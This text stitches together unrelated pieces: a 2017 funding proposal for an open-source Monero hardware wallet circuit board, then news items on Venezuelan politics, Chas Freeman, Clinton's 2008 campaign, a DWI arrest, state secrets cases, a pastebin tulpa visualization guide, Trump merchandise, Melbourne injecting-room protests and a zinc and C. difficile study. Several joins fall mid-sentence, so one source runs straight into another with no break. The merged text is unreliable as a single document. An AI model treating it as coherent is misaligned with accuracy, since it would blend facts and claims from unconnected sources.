He said people often did not fear sea lions, but his experience showed how dangerous they could be.Version: 1.0 Date: 15 September 2017 Name: RFC-HWALLET-1 Author: Michael Schloh von Bennewitz Contact: [email protected] IRC-contacts: msvb-lab, msvb-mob Title: Dedicated Monero Hardware Wallet Related to: RFC-HWALLET-2, RFC-HWALLET-3, RFC-HWALLET-4 Location: https://forum.getmonero.org/8/funding-required/88149/dedicated-monero-hardware-wallet/ Crosslink: https://www.reddit.com/r/Monero/comments/6urao7/ffs_for_dedicated_monero_hardware_wallet/ Crosslink: https://www.reddit.com/r/Monero/comments/6zm56g/new_version_of_proposal_88149_taking_feedback/ Crosslink: https://www.reddit.com/r/Monero/comments/70bpul/proposal_88149_entered_funding_required/
Get Monero Hardware Wallets
"There are currently no hardware wallets available at this time. Please check back for updates." - https://getmonero.org/downloads/#hardware, August 2017
It's time for the Monero community to come together and realize the goal of a hardware wallet!
Status
The status of this proposal is:
PENDING FUNDING PLEDGES
Change Log
In reverse cron order.
20170915 Publish version 1.0 Added sketchy RF integration Explained schedule of procurement Clarified work to reverse engineer Mentioned possible Shmoocon promotion Removed nonhardware based requirements Detailed role of microscopy in workflow Included more secure element details Zero sum corrected budget for lab Added plan column for FFS release 20170913 Publish version 0.9 Added copyright statement Added airgap feature option Clarified choice of License Slight changes to the budget Slight changes to requirements Added related project content New Defunding Option section New Proposal Ownership section New Legal Summary section New requested Intention section Documented outreach to Gemalto Emphasized hardware focus and license 20170912 Publish version 0.8 Nonfunctional Requirements additions Requirements 'note' reminder Time floor function removed Secure Element development New Scope Creep section Project plan adjustment Budget detailed design XMR rate changed to 67 Workflow development 20170830 Publish version 0.7 Functional Requirements additions Budget clarification New Workflow section 20170818 Publish revision 0.6 20170816 Proposal creation 20170801 DefCon Genesis
Requirements
Note: PLEASE REMEMBER THAT THE DELIVERABLE (SEE SECTIONS 'DELIVERABLES' AND 'SCOPE CREEP') IS A PRINTED CIRCUIT BOARD DESIGN. Other efforts exist to produce related deliverables like bootloader, firmware, enclosures, branding, modding, and derivatives.
Nonfunctional Requirements
Quality: The project is bodacious (bold and audacious)
Usability: Simple and intuitive, one hour learning time
Availability: Build your own and commercial models supported
Accessibility: One (of two total) button operation
Verification: Standard on board private display
Legal clarity: Avoidance of NDA and closed source terms
Legal freedom: Patent treaty via Open Invention Network
Open natured: All assembled parts ship with datasheets
Regulatory compliance: Attention to RoHS certification
Invulnerability: Prohibitive intrusion effort or time
Data integrity: Selective verification by SE cryptoanalysis
Reliability: MTBF to be determined and documented
Operating constraints: High firmware compatibility
Size constraints: To be determined after enclosure research
Resilience: Broad degree (voltage and temperature) of operation
Interoperability: Provision to interface with software wallets
Capacity: Balance between feature storage size and transistor constraint
Supportability: Supported through existing (forum, IRC, Reddit) channels
Privacy: Timer equipped for dimming, and narrow viewing angle
Documentation: Camera ready collection of developer documents
HW testability: Unpopulated debug (JTAG or similar) headers
FW testability: Bootloader and sample firmware templates
Extensibility: Open design with a common EDA CAD application
Marketability: Support for product design and management efforts
Derivability: Variation by unpopulating an overextended design
Portability: Portions of design forked from other projects
Functional Requirements
Power supply 5V USB connection 3V3 Battery housing
Security design criteria Crypto: Private key in secure element¹ Potting: Epoxy compound (optional²) Production: Non-RST debug removal Airgap: Disconnected media option³
CPA and glitch defense Dual MCU comparison circuit⁴...or external secure element⁴
Invasive border search protection Passphrase plausible deniability 48V supercap discharge circuit...or puncture destruction kit⁵
Intrusion detection criteria⁶ Ambient light interruption Mechanical switch interruption
Physical stability High rated semiconductors Moisture ingress nanocoating
Developer friendliness Development: JTAG breakout Pogo pin harness option
User friendliness Replaceable battery Replaceable optional media⁴ Screen sized to allow QR Possible RF integration³
...unless we want to avoid BlueBorne
¹ Depending on availability of supporting IC
² How to apply potting is documentation only
³ Research prone feature, may yield suboptimal
⁴ Depending on results of cost and size analysis
⁵ Destruction by puncture is documentation only
⁶ Independent circuit for optional model extension
Secure Element
A secure element (SE) serves to verify firmware at boot via standard DSA or ECDSA, and hopefully a vendor of hardware key storage is found that supports Monero's ED25519 elliptic curve. A private key in a real (with lock features) secure element means that even rogue firmware cannot access the key.
It seems this would be the first design to ever implement such a high degree of wallet security, but unfortunately ECDSA support depends on the hardware vendor. This is a formidable challenge.
Degree of Success
Several weeks of research will determine which of the desired secure element supported implementations are realistic. A worst case scenario is that ED25519 is completely unsupported and must be processed by firmware in SRAM, the same thing that Ledger and Trezor do. Preliminary research suggests the possibility that ARM CryptoCell circuits support hardware ED25519 calculations with a unknown (possibly no locking supported) key deployment method.
Vendor Proposal
Discussion (even before this proposal concludes) is ongoing with Microchip, Atmel, and Gemalto. We want them to produce integrated circuits according to the very easy to meet requirements.
Other Requirements
Review of requirements from the existing designs of Ledger, Trezor, and KeepKey
Blend of features from peripheral devices like Opendime, Mooltipass, and Cryptosteel
Deliverables
The Monero hardware wallet is a printed circuit board design resembling the Ledger or Trezor wallet PCBs. It may be slightly larger in size and composed of fewer (broader reach) or more (optimal electronic density) substrate layers.
Please see related RFC-HWALLET-X proposals for product design, firmware implementation, and other non hardware design work.
Scope Creep
The project is particularly vulnerable to scope creep. Votes or attempts at consensus on how to react to changing requirements are not planned. Rather, a compromise (maintaining pace of progress) is reached by attending nearly all Monero development meetings and reporting accordingly.
If contributors are interested in applied agile methods to track scope, then this can be arranged once agreement is reached in meetings.
Author
Michael is a computer scientist undergraduate with 15 years of industry (software, telecom, embedded systems) experience. He trains groups at Black Hat [1] and produces (not for sale) hardware in his circuits lab. He worked with the inventor of mod_ssl at Cable & Wireless, collaborates with WolfSSL on Atmel/Microchip IC to low powered ESP8266 platform porting, as well as MbedTLS on Atmel secure element provisioning.
He is a cryptocurrency novice of Ethereum, Bitcoin, and now Monero. He has earned the trust of his students using custom derivatives of Bus Pirate, FRDM, and NodeMCU shield devices, as well as larger companies (references on request) assigning first generation SBC hardware shield extensions on contract.
[1] https://www.blackhat.com/us-17/training/analyzing-an-iot-empire.html
Privacy
If you look carefully, you will find the privacy sensitive software development Michael has done for high profile groups.
Motivation
Michael is motivated to complete this project in order to have a Monero hardware wallet of his own, improve PCB design skills using a secure element, contribute to Monero enthusiasm, and become more active in the Monero community (by owning coins and IRC communicating frequently.)
Rejection
If all related FFS proposals are rejected, then Michael will probably be a Monero currency owner but cannot afford to contribute software, firmware, or hardware logic.
Defunding
Portions of the production machinery budget may be defunded, leading to the following added risk:
Unexpected scope reverse creep
creep Loss of miniaturization requirements
Loss of component choice requirements
Reduction or cancellation of samples distribution
Reduction or cancellation of promotion deliveries
Fewer test generations leading to reduced QA work
Introduction of new budget items to fund assembly
Failure of any process requiring quick or accurate manufacturing
The actions and features at risk would still be worked on a best effort basis. To be clear, this proposal has no defunded budget items and production machinery will be procured in the most expedient and inexpensive way.
Relations
Some RFC-HWALLET-X proposals are complementary and others mutually exclusive. In the best case, this pilot project will serve to launch and support other (conference badge, sponsored swag, product integrations, university research) related projects.
Budget
Production machinery
XMR Item 5 Qinsi QS-5100 reflow oven 45 Analog stereo microscope 150 NeoDen4 Pick and Place 200 Total machinery
Research equipment
XMR Item 1 Trezor 1 KeepKey 4 Ledgers 6 Chipwhisp 2 Launchpad <1 Opendime 15 Total research
Passive and IC components
XMR Item 20 Total components
Consumable materials
XMR Item 25 Paste, substrate, nozzles
Facilities and services
XMR Item 2 Makerspace entry 68 Workspace rental 12 Datacenter, telco 80 Total facilities
Travel and promotion
XMR Item 0 Included in other items
Trips to manufacturing locations (Shenzhen or Hangzhou) will not be taken unless necessary, for example when a flight is cheaper than postal shipping or acting as a courier yields a customs free import. In those cases, trip cost is absorbed by the budget stated resource price (with nothing new to add.)
Worktime reimbursement
XMR Item 490 Lost contracts reimbursement⁷
⁷ Estimated by crossing vectors (6 months lapse, proximity obligation, hour loss) and considering used nonworktime procurements.
XMR Volatility
A 20% buffer is in place to lower risk of production loss or delay. This is partly due to Michael's lack of crypto trading experience and partly due to natural monetary fluctuation.
Total budget
XMR Item 996 Fulfillment of requirements
Note: The base rate is recalculated (95 € + 40 €) ÷ 2 resulting in 1XMR = 67EUR €. The previous base rate was 40EUR € before fluctuation and the current price is 80EUR €.
Existing Resources
A number of machines is already available including a Voltera V-One substrate printing machine, JND-983A solder dispenser, industrial air compressor, dedicated circuit production computer, and solder rework station.
The total value of already acquired machinery is estimated at 8000EUR € (120XMR.) These resources will be used but require no budget.
Nonexistent Resources
Any tools needed (see 'Production machinery') should be purchased in the first month (see 'Project Plan'), in order to avoid postponement of milestones.
Time Estimate
Ten to twenty hours per week six months long, scheduled at the author's discretion. This variability is to accommodate lack of sync in PCB printing, parts ordering, potential firmware integration, and test revisions, logistics which may take weeks to order and ship.
Time will be spent in a:
In house circuit lab
Local hacker space
Remote maker space
Workflow
Work is transparently carried out according to typical distributed Opensource practices. The degree of in house production is maximized to shrink the attack surface introduced by contract manufacturing as well as increase the turn around time of generational testing.
Integration
External and prior logic is researched for possible integration. This may include reverse engineering of contending designs by Opensource documentation or closed source (to the legal extent) microscopic inspection.
Design
A schematic diagram is designed using KiCad or equivalent Opensource software. A layout is derived from the schematic and integration work.
Printing
Two layer FR4 (flame retardant) substrate is printed according to the prior layout. Four layer substrate may be used, but a external contract manufacturer like Aisler or OSH Park is required for that.
Pasting
An Sn63Pb37 alloy is applied to the substrate with an injection based solder printer.
Assembly
The board is populated (stuffed) with components in a standard pick and place procedure. Manual placing is avoided due to error and delay concerns.
Reflow
The board is baked according to a timed temperature curve yielding a ready to test PCB. An experimental two sided approach may allow for extra density.
Rework
Bridged solder pads, air wires, and other mistakes are corrected.
Testing
Electrical and optical tests are manually done to identify manufacturing problems. This may include stereoscopic magnification or controlled destruction.
Programming
MCU and external flash programming applies primitive bootloader and firmware interface images.
Generation
The PCB is ready for use, and a new generation of correction and improvement follows. Start from the beginning (integration step) to optimise the existing design and fulfill more requirements.
Samples
Production samples are mailed to investors, testers, and promoters identified during Monero meetings.
Project Plan
Date Milestone FFS Payment October Initialisation work (platform, communication, and procurement) 314XMR Early November Tool configs, project documentation, Opendime research 168XMR Late November Set of PCBs employing secure elements from ST and Atmel Early December Trezor and Ledger hardware (clone) production 120XMR Mid December Trezor and Ledger firmware (fork) programming Late December Mock or prototype demonstration at 34C3 [2] Early January Midterm report on Trezor and Ledger findings 120XMR Mid January Custom design and recent feature tailoring Late January Midterm remix in favor of Monero features Early February New prototype demonstration at FOSDEM [3] 154XMR Late February Correlation power analysis, glitch attack trials Early March PCB generations (schematic and layout improvements) 120XMR Late March Size and complexity (less or more layers) optimizations End of term⁸ Demonstration video of a release grade⁹ manufactured board
[2] https://en.wikipedia.org/wiki/Chaos_Communication_Congress
[3] https://www.fosdem.org/2018/
⁸ Six month conclusion
⁹ Post prototype
Funds are asymmetrically distributed, due to terms of machinery procurement and facilities use. Some correction (not receiving work time reimbursement the first month) attempts to balance this asymmetry.
Progress Reports
Progress is reported in bimonthly Monero developer meetings on the IRC developer channel.
Continuation Plan (Pending New RFC and Revote)
Date Milestone April First viable wallet with hello world firmware May Invitation documents produced with instructions June Virtual community event for alpha testers, demo August Official release at Black Hat and DefCon
Ownership
The Monero Project owns this (Opensource) proposal, the blueprint-like result of a month's careful deliberation and research. The author contributed it by uploading content to the forum. Readers are free to print and hand it to investors, colleagues, university professors, or whoever else, in order to start a hardware project of their own.
Copyright
Source files (text and binary) of all work state Copyright (c) 2017-2018, The Monero Project.
License
CERN Open Hardware License 1.2
Being a hardware project, no software license is used. Instead, a open hardware license is applied whose terms resemble the other Monero projects' (BSD|MIT) licenses. Patents are more relevant to hardware projects so to counter risk of conflict the CERN OHL is used.
Note: While deliberating between TAPR and CERN, online chats led to a preference for CERN due to its:
Poison pill
Conciseness
Bodaciousness
Lack of lame conditions
Lack of Eric Raymond complaints
Adoption by other like minded projects
Legal Summary
The legal terms mentioned in this text are chosen with the intent of maintaining free and open access to the work. Some call this intellectual property (IP) and others consider deliverables (see section 'Deliverables'.)
These intentions are no different than other Monero projects, and the community is unified in encouraging freedom. Like any other similarly licensed Opensource project, groups and individuals may enjoy the free and open terms as specified in the license.
Intentions
The project intends to serve as a launchpad for small (one man-hour) to large (one man-year) efforts at distributing Monero featured wallet hardware. Several requirements (see section 'Non/Functional Requirements') support the derivation, customization, marketing, and teaching of how to begin commercialization. All are welcome to participate in this way, and the hope is that we end up with both collaborating and competing groups.
Brainstorm
This project proposal was first discussed by Michael, endogenic, and anonimal at the Monero themed party during DefCon 2017.
Inclusion
Teamwork and collaboration from any competent person is encouraged. Outreach to other hardware makers mutually benefits the respective communities.
Promotion
The hackerspace mailing lists and IRC channels for C-Base, MuCCC, and the Noisebridge will serve to promote, while dedicated lists and channels will serve to support. Outreach is conducted with the EFF, NLNet, and other like minded groups.
Midterm deliverables will be taken to CCC congress at Leipzig in December, possibly Shmoocon in January, and prototype or release grade devices will be distributed at DefCon 2018 (see project plan.) It may be Michael that makes these visits or another person familiar with the project.Taking over from former Venezuelan president Hugo Chávez, who died of cancer in March, was never going to be easy. Elected by a thin margin on April 14, Nicolas Maduro has had to tend to an economy in tatters, stand up to palace rivals, and crack down on bureaucrats on the take.
After several higher-ups were caught in June skimming sales of iron ore at the state-run mining giant, Ferrominera, Maduro asked the National Assembly to grant him emergency “enabling powers” to wage a national “war on corruption.”
But he hasn’t made things any easier for himself. Last week, during a raucous session in the National Assembly—where raucous sessions are the house norm—“Chavista” allies lashed out at opposition lawmakers in an attack that seemed excessive even by the attack-dog standards of the former Bolivarian commander in chief.
While television cameras rolled, Socialist Party deputy Pedro Carreño charged opposition leader Henrique Capriles Radonski, a popular state governor, with condoning a ring of homosexual and transvestite prostitutes.
“Answer, homosexual!” Carreño declared, defying Capriles to disprove allegations that he was involved in “immoral acts,” which is Chavista code for gay. “Accept the challenge, faggot.”
Carreño sought to bolster the claims through supposedly compromising photographs and documents seized in a police raid on the home of Capriles’ chief of staff, Oscar López, whom he directly accused of running a prostitution racket. “What they [the opposition leaders] do with their own asses is their own business, but they need to be serious,” he snarled. “The problem is not his [Capriles’s] sexual orientation. The problem is leading a hidden life.”
“An eagle does not hunt flies,” Capriles replied. The supposedly damning photographs brandished by lawmakers showed Lopez, fully dressed, giving Latin-style bear hugs to men, apparently in a festive setting.
Lost on no one was the fact that Carreño’s attack followed a running clash with Capriles, who accused the pro-government legislator of having been forced into retirement from the armed forces allegedly for taking money from a cafeteria. Carreño denied the charge, saying his military service was public record.
As the row spilled into the Venezuelan news cycle, Maduro resorted to spin control to contain the damage. On Wednesday, the day after the tumultuous session in congress, he traveled to Petare, an outlying slum in greater Caracas, taking advantage of an event to inaugurate a funicular station to pose with advocates of a sexual-diversity-rights group. Putting his arms around one of the activists, he hoisted the movement’s rainbow-colored flag and struck a conciliatory note.
In comments transmitted live on national television, Maduro cooed: “Come, give me a hug,” After stating that he was a heterosexual and happily married, he added, “I am not homophobic. The revolution has vindicated respect for all.”
Then, with the cameras still rolling, he went on to repeat the allegations against Capriles and the national opposition, lamenting that the “office of the governor of Miranda has been used as a place for homosexual and transvestite prostitution.”
“We have proof,” Maduro claimed, alluding to the police raid on Lopez’s residence. “What was revealed by the National Assembly was just 1 percent of what we obtained.” The “other 99 percent,” he continued, “are unpublishable videos and photos of orgies.”
Opposition politicians denounced the government attack as a smear campaign and a smoke screen for the larger political scandals plaguing the Maduro government. “Maduro’s ‘war on corruption’ has shown its true colors: curb, humiliate and prosecute political opponents to demoralize their voters while trying to rally a discontented Chavista base around him,” wrote Gustavo Hernandez Acevedo in the opposition-leaning political blog, Caracas Chronicles.
Nor does the effort on the anticorruption front line appear to be winning hearts and minds on the Venezuelan street. A recent survey by pollster SIBCI showed that nearly 56 percent of Venezuelans believe the anticorruption measures are “inadequate,” while 52 percent say they are “a government strategy pretending to fight against corruption.”The Obama administration’s choice to head the National Intelligence Council (NIC) recently withdrew in the face of a concerted right-wing attack. Veteran diplomat Chas Freeman would not have had to face Senate confirmation. Instead, he had to face attacks in the right-wing press and blogosphere. His withdrawal was a victory for Bush-era neoconservatives and their allies regarding intelligence and broader Middle East policy.
The NIC chairmanship is structured to offer a skeptical view on U.S. intelligence. With his broad knowledge and experience in East Asia, the Middle East, Africa, Europe, and Latin America, Freeman would appear to be an ideal appointee. Fluent in both major dialects of Chinese, he accompanied President Richard Nixon on his historic 1972 trip to China. Later, he served as principal deputy assistant secretary of state for African affairs, assistant secretary of defense for international security affairs, and as ambassador to Saudi Arabia during the 1991 Gulf War. After retiring from the State Department, Freeman succeeded former senator and 1972 Democratic presidential nominee George McGovern as head of the Middle East Policy Council, a centrist Washington think-tank.
Those closest to Freeman have confirmed that his decision was indeed his own. Neither the president nor Director of National Intelligence Dennis Blair, who had offered Freeman the position, asked him to withdraw his acceptance of the NIC post. At the same time, the White House’s refusal to come to Freeman’s defense in the face of misleading and defamatory attacks is reminiscent of the Clinton White House’s abandonment of assistant attorney general nominee Lani Guinier in similar circumstances back in |
Syria, Iran and others.
Malaysia has three people in custody in connection with Kim Jong-nam's death, including the two suspected attackers. Authorities are also seeking several other people, including the second secretary of North Korea's embassy in Kuala Lumpur and an employee of North Korea's state-owned airline, Air Koryo.
The case has marked a serious turnaround in relations between Malaysia and North Korea. While Malaysia isn't one of Pyongyang's key diplomatic partners, it is one of the few places in the world where North Koreans can travel without a visa. As a result, for years, it's been a quiet destination for Northerners looking for jobs, schools and business deals.Hillary Clinton has summoned top donors and backers to attend her New York speech tomorrow night in an unusual move that is being widely interpreted to mean she plans to soon suspend her campaign and endorse Barack Obama - not tomorrow night but within a day or two.
Obama and Clinton spoke Sunday night and agreed that their staffs should begin negotiations over post-primary activities, according to reliable sources. In addition to seeking Obama's help in raising money to pay off some $20 million-plus in debts, Clinton is known to want Obama to assist black officials who endorsed her and who are now taking constituent heat, including, in some cases, primary challenges from pro-Obama politicians.
"This has never happened before," one donor said, referring to the personalized request by email to attend the event in New York Tuesday night.
Obama is expected to claim enough delegates to put him over the top that night at a separate event in St. Paul.
In an afternoon conference call today with about two dozen top fundraisers, Clinton strategist Harold Ickes spoke in very conciliatory terms about Obama, in contrast to his tougher rhetoric in public and on television, according to sources. He told the participants that Clinton wants to "significantly" help Obama, but he did not go so far as saying that she will announce withdrawal -- that is the prerogative of the candidate.
Ickes told the group to "take a deep breath" and let Clinton proceed in her own fashion.
Earlier in the day it was reported that Clinton staffers were being urged by the campaign's finance department "to turn in their outstanding expense receipts by the end of the week," another sign that the run at the White House was nearing an end. In addition, Politico wrote that members of Clinton's advance staff had received calls and emails Sunday night, summoning them to New York City and telling them their roles on the campaign are ending.Copyright by WTEN - All rights reserved
CLIFTON PARK, N.Y. (NEWS10) - Troopers say a woman has been arrested after driving while over nearly 4 times the legal limit.
Copyright by WTEN - All rights reserved Kristin Pietrocarlo, 33
Copyright by WTEN - All rights reserved Kristin Pietrocarlo, 33
Police say 33-year-old Kristin Pietrocarlo of Glenville was arrested for Aggravated DWI at 10a.m. Wednesday morning after she was involved in a property damage accident on State Route 146 in Clifton Park. Officials say she drove her 2000 Buick off the shoulder striking a sign post.
Police say Pietrocarlo left the scene, but was later found by troopers over half a mile down the road after she drove off the road again and got stuck in the snow.
A breath test conducted at the Clifton Park Barracks showed her BAC to be.31%, nearly four times the legal limit.
Pietrocarlo was charged with Aggravated DWI for having a BAC greater than.18%, DWI, leaving the scene of an incident, and lane use violation. She is due back in court in March.State Secrets Privilege Prevents Justice Again
Yet again, a federal court dismissed a lawsuit against the federal government under the ‘state secrets’ privilege, despite substantial public evidence that the plaintiff’s constitutional rights had been violated. In Fagaza v. FBI, Muslim community members alleged their First and Fourth Amendment rights were repeatedly violated by the FBI and its informant, who eventually turned on the FBI and cooperated with the plaintiffs.
A week before the judge’s ruling, NPR’s This American Life dedicated its August 10th program to the case, which you can listen to here.
The ‘state secrets’ privilege is a narrow tool designed to prevent military secrets from disclosure in litigation. However, the government has increasingly asserted the privilege in broader and more varied contexts over the last decade to have entire lawsuits dismissed without ever addressing the merits of the suit. The government essentially argues that, in order to litigate certain suits, information would have to be disclosed that could damage national security, and the suits should therefore be dismissed. Unfortunately, many judges have acquiesced—even when it seems clear no real secrets would be revealed.
The judge in this case even acknowledged the state secrets privilege was preventing individuals from challenging legitimate constitutional violations, saying “the proper application of the state secrets privilege may unfortunately mean the sacrifice of individual liberties for the sake of national security.”
However, as ACLU attorney Ahilan Arulanantham told the Los Angeles Times, the ruling is “contrary to the basic notion that the judiciary determines what the law is and holds the government to it. We’re exempting huge swaths of government activity to judicial oversight.”
Guantanamo and Auto-Censorship
A court hearing originally scheduled for this week involving heavy-handed government secrecy at Guantanamo has been delayed, but the topic of the hearing is important to highlight: The government has contended that they can classify everything Guantanamo detainees say—even before they say it. As Cheryl Bormann, a lawyer for one of the detainees complained, "Everything is presumptively top secret. So if my client had a tuna fish sandwich for lunch, I couldn't tell you that."
As Reuters reported, “The defendants' words are…‘born classified,’ a status their lawyers said has previously been used only to safeguard details about nuclear weapons.” Most critically this policy means that reporters are barred from hearing any sort of testimony about alleged torture at the hands of the CIA.
Reporters hear all the testimony at the military tribunals on forty-second delay, and if a detainee mentions torture, officials hit a white noise button to censor the testimony. The government claims the testimony “must be strictly monitored precisely because of the defendants' intimate personal knowledge of highly classified CIA interrogation methods they endured in the agency's clandestine overseas prisons.” However, President Obama has disavowed torture, and the methods of approved “enhanced interrogation,” the Bush administration’s euphemism for torture, have been public for years.
ACLU and several media organizations have challenged the policy and the hearing was supposed to be held this week. It was delayed until October, however, due to Hurricane Isaac.
10 Questions on Transparency for Candidates for Elected Office
Unfortunately this campaign season, the only time the presidential candidates have debated government transparency, it was to argue over who would be more secretive in the context of national security and leaks to the press. But OpenGovernment.org, along with POGO and ASNE, have just released ten important questions for candidates to answer concerning transparency, openness, and press freedom during this Fall’s campaign season.
In an effort to make unnecessary government secrecy a campaign issue, the groups ask that if you see a candidate at a campaign stop, ask them one or more of the questions. Questions include, “How will you make sure reporters and publishers can pursue critical stories without risk of subpoenas, prosecutions, or intimidation” and “Do you believe there is too much government secrecy, and if so, how will you fix it?”
White House Beer FOIA’d
In what has been dubbed “the best beer related FOIA ever” a Reddit user has submitted a FOIA request for the White House’s secret homebrew beer recipe.
President Obama has generated buzz the last few weeks by showing off the White House’s unique microbrew at campaign stops for re-election. After a White House petition was set up asking for the recipe and another Reddit user emailed the White House for its release, an official FOIA request was sent in.
Unfortunately, the request may not be going anywhere, as the White House has argued in court it is exempt from FOIA requests. EFF disagrees and has argued the Office of Administration is within the bounds of an “agency” as defined under FOIA. Either way, White House spokesman Jay Carney said there’s no immediate plans to release the recipe.
Score another one for unnecessary government secrecy.Tulpa Visualization Guide v1.0 dajfarrell Jan 13th, 2013 4,990 Never 4,990Never
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rawdownloadcloneembedreportprint text 2.88 KB _______________________________________________________ / \ / T u l p a V i s u a l i z a t i o n G u i d e \ / \ \ Author: Shockk / \ Date Modified: 2013-01-13 / \_______________________________________________________/ This guide is an adaption of my Visualization Focus Guide. If you find it hard to focus, I recommend you complete the exercise in that guide at least once before attempting the exercise in this guide. Visualization Focus Guide: http://pastebin.com/Vc1UtgXi This guide is intended to help people who have trouble visualizing their tulpa, or who have trouble visualizing anything. A tulpa who is able to move/control their mindform is required. Begin by visualizing a canvas in your mind. The canvas can be any colour but if you really can't decide, use white. At this point, your tulpa should use some sort of pen to draw the number 0 on the current page of the canvas. The pen can be any colour but you should be able to see it on the canvas's colour (so don't pick white if the canvas is white). Next, relax your body and mind slightly and become aware of your breathing. Take a minute or so to get to a level where you feel sufficiently relaxed. This will help you stay focused while doing the exercise. Now, ask your tulpa to turn to the next page on the canvas, then write the number 1. You should try and focus on them in your visualization and watch their movements as they turn the page (or magic the canvas blank if they so desire). Then ask them to move on to the next number. Continue this all the way to the number 100 without getting distracted! If you lose focus, your tulpa should throw the canvas away and get a new one. To throw in a twist, your tulpa is also allowed to make you start again if they think you took too long to ask them for the next number, or if you didn't try to visualize them during a number! You might not be able to reach 100 on the first try, but don't worry. Each time you try this, you'll improve your visualization skills more and more and as a bonus, communication between you and your tulpa will also improve! If you keep practicing, you'll be able to reach 100 before long. Practice makes perfect! Ideally, you should do this exercise at least once a day if you want to improve your visualization skills more than a little. As you do it, remember to have fun and feel free to chat with your tulpa during it (and for the tulpa: feel free to chat to your host if you want to give them more to focus on!). §~~~~~~~~~~~~~~~~~§ | S h o c k k | §~~~~~~~~~~~~~~~~~§ | | | |
RAW Paste Data
_______________________________________________________ / \ / T u l p a V i s u a l i z a t i o n G u i d e \ / \ \ Author: Shockk / \ Date Modified: 2013-01-13 / \_______________________________________________________/ This guide is an adaption of my Visualization Focus Guide. If you find it hard to focus, I recommend you complete the exercise in that guide at least once before attempting the exercise in this guide. Visualization Focus Guide: http://pastebin.com/Vc1UtgXi This guide is intended to help people who have trouble visualizing their tulpa, or who have trouble visualizing anything. A tulpa who is able to move/control their mindform is required. Begin by visualizing a canvas in your mind. The canvas can be any colour but if you really can't decide, use white. At this point, your tulpa should use some sort of pen to draw the number 0 on the current page of the canvas. The pen can be any colour but you should be able to see it on the canvas's colour (so don't pick white if the canvas is white). Next, relax your body and mind slightly and become aware of your breathing. Take a minute or so to get to a level where you feel sufficiently relaxed. This will help you stay focused while doing the exercise. Now, ask your tulpa to turn to the next page on the canvas, then write the number 1. You should try and focus on them in your visualization and watch their movements as they turn the page (or magic the canvas blank if they so desire). Then ask them to move on to the next number. Continue this all the way to the number 100 without getting distracted! If you lose focus, your tulpa should throw the canvas away and get a new one. To throw in a twist, your tulpa is also allowed to make you start again if they think you took too long to ask them for the next number, or if you didn't try to visualize them during a number! You might not be able to reach 100 on the first try, but don't worry. Each time you try this, you'll improve your visualization skills more and more and as a bonus, communication between you and your tulpa will also improve! If you keep practicing, you'll be able to reach 100 before long. Practice makes perfect! Ideally, you should do this exercise at least once a day if you want to improve your visualization skills more than a little. As you do it, remember to have fun and feel free to chat with your tulpa during it (and for the tulpa: feel free to chat to your host if you want to give them more to focus on!). §~~~~~~~~~~~~~~~~~§ | S h o c k k | §~~~~~~~~~~~~~~~~~§ | | | |Presumptive Republican presidential nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE on Wednesday started selling T-shirts featuring the slogan "I'm With You" to help fund his campaign.
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The shirts cost $35 on Trump's campaign website, and each features a large photo of Trump in the middle. Underneath his photo, the shirt says, "I'm With You," along with his campaign slogan, "Make America Great Again."
Trump coined the new phrase on Wednesday in an attempt to turn presumptive Democratic nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE's "I'm With Her" slogan against her.
“She believes she’s entitled to the office. Her campaign slogan is, 'I'm with her,'" Trump said during a speech Wednesday in which he attacked Clinton in an attempt to cast her as a corrupt figure.
“You know what my response to that is? I’m with you, the American people. She thinks it’s all about her. I know it’s all about you.”
Earlier Wednesday, Trump tweeted using his new phrase, pushing the #ImWithYou hashtag.
"Hillary says things can't change," he tweeted.
"I say they have to change. It's a choice between Americanism and her corrupt globalism."Hundreds of Richmond residents have called on the Andrews government to reconsider its opposition to safe injecting rooms following the deaths of 34 drug addicts in the laneways of North Richmond last year.
A crowd of about 600 listened to the heart-wrenching accounts of families who had lost loved ones to drug addiction, which they insist could have been prevented.
Protesters rally in Victoria Street, Richmond, for a safe injecting room. Credit:Paul Jeffers
But Premier Daniel Andrews again refused to budge on the issue, which could play a key role in the battle with the Greens for the seat of Richmond at next year's election.
Following a rally on Victoria Street on Sunday, Laura Turner spoke of the death of her sister Skye, who died from a heroin overdose in March 2017. "She lay dead in the back of a van on Elizabeth Street in the CBD, that beautiful face, that incredible mind, had slipped away," she said.A diet containing high levels of zinc may increase the likelihood of developing potentially life-threatening Clostridium difficile infection, particularly among individuals taking antibiotics, a new study finds.
Researchers say individuals at high risk of C. difficile infection should be cautious about using zinc supplements. Researchers say individuals at high risk of C. difficile infection should be cautious about using zinc supplements.
Published in the journal Nature Medicine, the study reveals how mice fed a high-zinc diet experienced changes to gut microbiota - the population of microbes in the intestine - and increased susceptibility to C. difficile infection.
C. difficile has emerged as one of the deadliest strains of bacteria in the United States, causing almost half a million infections in 2011 and killing around 29,000 people within 30 days of diagnosis.
The bacterium is shed in feces, and it is most commonly transmitted through contact with contaminated surfaces, such as toilets and bathing tubs.
C. difficile infection is common in healthcare settings; it is primarily transferred to patients through hand contact with medical staff who have touched a surface or object contaminated with the bacterium.
Individuals with prolonged use of antibiotics are known to be at increased risk of C. difficile infection; the drugs can alter gut microbiota, increasing infection susceptibility.
Now, study co-author Eric Skaar, Ph.D., professor of pathology, microbiology, and immunobiology at Vanderbilt University in Nashville, TN, and colleagues suggest high levels of dietary zinc may raise the risk of C. difficile infection in the same way.
Worse C. difficile infection for mice fed a high-zinc diet
According to Skaar and colleagues, previous research has shown that too much dietary zinc - a trace mineral important for a number of bodily functions, including immune system function, cell growth and division, and wound healing - may raise the risk of infectious diseases.
With this in mind, the team set out to determine whether levels of zinc in the diet may influence the risk and severity of C. difficile infection.
To reach their findings, the researchers fed mice either a low-, normal-, or high-zinc diet for 5 weeks; the high-zinc diet was designed to simulate excess dietary zinc in humans, the authors report, with the zinc level around 12 times higher than standard chow.
The effects of these diets on the gut microbiota of the rodents was determined through regular fecal collection and analysis.
Compared with mice fed a low- or normal-zinc diet, those fed a high-zinc diet were found to be more susceptible to C. difficile infection with low doses of antibiotics, and they showed altered gut microbiota.
What is more, mice fed the high-zinc diet experienced more severe and life-threatening C. difficile infection than those fed the low- or normal-zinc diets.
